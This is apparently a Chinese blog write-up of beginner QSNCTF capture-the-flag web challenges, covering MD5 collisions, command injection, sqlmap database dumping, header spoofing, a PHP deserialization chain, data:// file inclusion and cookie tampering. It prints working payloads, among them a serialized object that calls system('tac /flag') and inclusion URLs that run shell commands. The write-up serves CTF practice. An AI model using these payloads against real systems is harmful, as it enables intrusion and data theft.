CTF_平台练习

QSNCTF_青少年CTF平台

hash碰撞

1.easy_web

把index.php用base64编码两次、hex编码一次,输入到url参数中,即可查看本题源码,进行分析。

编解码工具

base64:base - 在线工具

hex:base - 在线工具

burpsuite中的请求头

POST /index.php?img=&cmd=ca\t%20%2fflag

psot提交的参数(md5碰撞)

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

命令执行

1.nologin

启动环境

尝试sqlmap跑一手

sqlmap -r nologin.txt --dbs

存在漏洞

爆数据库名

爆ctf数据库的表名

脱库

sqlmap -r nologin.txt 

尝试登录

抓个包,加个xff

X-Forwarded-For:127.0.0.1

成功进入后台

linux系统,尝试 ;ls

读取flag.php

发现应该不是当前目录下的flag.php文件

目录穿越去访问根目录下的flag。cat被过滤,使用tac进行查看。

cmd=%3Btac%20../../../f*

反序列化

1.兔年大吉

启动环境后是一段php代码

<?php
highlight_file(__FILE__);
error_reporting(0);

class Happy{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __call($name, $arguments)
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        die("Wishes can be fulfilled");
    }
}

class Nevv{
    private $happiness;

    public function __invoke()
    {
        return $this->happiness->check();
    }

}

class Rabbit{
    private $aspiration;
    public function __set($name,$val){
        return $this->aspiration->family;
    }
}

class Year{
    public $key;
    public $rabbit;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function firecrackers()
    {
        return $this->rabbit->wish = "allkill QAQ";
    }

    public function __get($name)
    {
        $name = $this->rabbit;
        $name();
    }

    public function __destruct()
    {
        if ($this->key == "happy new year") {
            $this->firecrackers();
        }else{
            print("Welcome 2023!!!!!");
        }
    }
}

if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
}else {
    echo "过新年啊~过个吉祥年~";
}
?> 

此处交由chatgpt进行分析,以下是他的回答

这段代码是一个简单的PHP脚本,让我们逐行进行分析:

  highlight_file(__FILE__); 这行代码使用 highlight_file 函数来将当前文件的源代码输出到浏览器。它的作用是展示代码本身。

  error_reporting(0); 这行代码设置错误报告级别为0,表示关闭所有错误报告。这意味着在脚本执行期间不会显示任何错误或警告。

  接下来定义了一系列类:Happy、Nevv、Rabbit、Year。每个类都有一些方法和属性。

  Happy 类有私有属性 $cmd 和 $content,并且定义了构造函数 __construct 用于初始化这两个属性的值。还有一个 __call 魔术方法,当调用未定义的方法时会自动调用该方法,并执行 $cmd 函数并传递 $content 参数。

  Happy 类还有一个 __wakeup 魔术方法,当对象被反序列化时会自动调用该方法。这里的 __wakeup 方法直接终止脚本并输出一条消息。

  Nevv 类实现了 __invoke 魔术方法,使对象可以被调用。在这个方法中,它调用了 $happiness 对象的 check 方法。

  Rabbit 类定义了一个 __set 魔术方法,当给未定义的属性赋值时会自动调用该方法,并返回 $aspiration->family。

  Year 类有两个公共属性 $key 和 $rabbit,并且定义了构造函数 __construct 用于初始化 $key 属性的值。类中还有一个 firecrackers 方法,设置 $rabbit 对象的 wish 属性为 "allkill QAQ"。

  Year 类实现了 __get 魔术方法,当获取未定义的属性时会自动调用该方法。在这里,它将 $name 赋值为 $this->rabbit,然后调用 $name()。

  Year 类还定义了一个 __destruct 魔术方法,在对象销毁时会自动调用。它检查 $key 属性的值是否为 "happy new year",如果是,则调用 firecrackers 方法,否则打印一条欢迎信息。

  接下来是一个条件语句,检查 $_GET['pop'] 是否存在。如果存在,则调用 unserialize 函数对 $_GET['pop'] 进行反序列化赋值给变量 $a。否则,输出一条提示信息。

  总体来说,这段代码使用了一些PHP的魔术方法和特性,比如对象的序列化和反序列化,以及动态调用方法和属性。然而,代码本身存在一些问题,比如没有对用户输入进行充分验证和过滤,存在安全风险,容易受到反序列化漏洞的攻击。在生产环境中,需要对用户输入进行严格的验证和过滤,以确保代码的安全性。

同时传递参数的位置是通过get方式传递pop的参数值

EXP为

URL ?pop=O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A9%3A%22tac+%2Fflag%22%3B%7D%7D%7D%7D%7D

滑到页面底部找到flag

C2

1.eval

源码中一眼看到eval函数

很简单,直接上蚁剑,在根目录下查看flag

文件包含

1.include 01

/?file=data://text/plain,<?php phpinfo();?>

/?file=data://text/plain,<?php system(“ls /“)?>

/?file=data://text/plain,<?php system(“cat /f*”)?>

因为在源码中可以看到过滤了flag所以需要使用f*来查看。

成功拿到flag

2.include 02 同上

cookie注入

1.新手的登录

根据用户名提示登录网页

将cookie中的user改为admin

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值